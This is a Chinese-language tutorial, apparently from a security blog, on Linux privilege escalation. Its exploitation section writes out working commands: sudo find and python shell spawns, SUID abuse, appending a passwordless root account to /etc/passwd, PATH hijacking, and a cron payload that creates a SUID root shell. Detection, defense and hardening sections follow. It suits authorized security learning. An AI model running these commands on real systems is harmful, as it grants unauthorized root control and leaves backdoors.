内网渗透:Linux 提权实战

Linux 提权实战:sudo 配置、SUID、可写文件、PATH 劫持、cron 与内核漏洞,原理、影响、利用、检测、防御与加固。

写在前面:合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个低权限 Shell 后,目标是提升到 root。提权本质是:低权限用户能利用系统配置或漏洞,执行本不该有权限的操作

常见提权面:

1
2
3
4
5
6
sudo 配置不当(用户可执行 root 命令)
SUID 文件(以所有者权限运行)
可写文件(/etc/passwd、PATH 里的脚本)
cron 任务(可写脚本/PATH 劫持)
内核漏洞
数据库/服务漏洞提权

二、影响与危害

1
2
3
低权限 → root 完全控制
横向移动
数据窃取、后门持久化

风险等级:高(决定渗透是否深入)。

三、利用 / 复现

第一步:收集当前权限

1
2
3
4
id
sudo -l          # 看当前用户能 sudo 什么
whoami
cat /etc/passwd | grep -v nologin

第二步:sudo 提权(重点看 GTFOBins)

1
2
3
4
5
6
7
8
9
# 如果 sudo -l 显示可以无密码执行 find/vim/python 等
sudo -l
# 解释:列出当前用户可执行的 sudo 命令,提权的关键入口
# 例:sudo find 提权
sudo find / -exec /bin/sh \;
# 解释:find 有 -exec 可执行命令,/bin/sh 提权;注意 -p 保留 SUID 权限
# 例:sudo python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# 解释:sudo 下 python 直接调系统命令弹 shell

规则:sudo -l 里能执行什么,就去 GTFOBins 查对应的提权命令。

第三步:SUID 提权

1
2
3
4
5
6
7
# 找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 解释:-4000 匹配 SUID 位,SUID 程序以文件所有者(常为 root)权限运行
# 例:find SUID
find / -exec /bin/sh -p \;
# 例:nmap 旧版本交互模式
nmap --interactive

-p 保留 SUID 权限。

第四步:可写文件与 PATH 劫持

1
2
3
4
5
# /etc/passwd 可写 → 添加无密码 root 用户
echo 'hack::0:0::/root:/bin/bash' >> /etc/passwd
# PATH 劫持:把同名恶意文件放进靠前的 PATH 目录
echo '/bin/bash' > /tmp/ls && chmod +x /tmp/ls
export PATH=/tmp:$PATH

第五步:cron 任务提权

1
2
3
cat /etc/crontab
# 如果任务调用可写脚本/命令 → 替换为反弹
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > /可写脚本路径

内核漏洞(谨慎)

1
2
3
uname -a 看版本 → 查对应 CVE
脏牛(DirtyCow) 等历史漏洞
只在靶场/授权环境用,生产先评估影响

四、检测

1
2
3
4
find SUID 扫描、sudo -l 输出是否异常
可写系统目录/脚本
cron 里异常条目
内核版本过旧、补丁缺失

五、防御

1
2
3
4
5
最小化 sudo 授权,按命令白名单
避免不必要 SUID 位
关键文件收紧权限、目录防写
cron 脚本放安全目录并校验
及时打内核补丁

六、加固(修复)

1
2
3
4
5
清理多余 SUID/sudo 授权
修复可写关键路径与脚本
禁用/替换危险 sudo 命令
升级内核补丁
对已提权主机做取证与后门清理

七、小结

Linux 提权的套路很固定:先看 sudo -l 和 SUID,再看可写文件和 cron。这些排查完没戏,才考虑内核漏洞。记住 GTFOBins 是 sudo/SUID 提权的“字典”。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处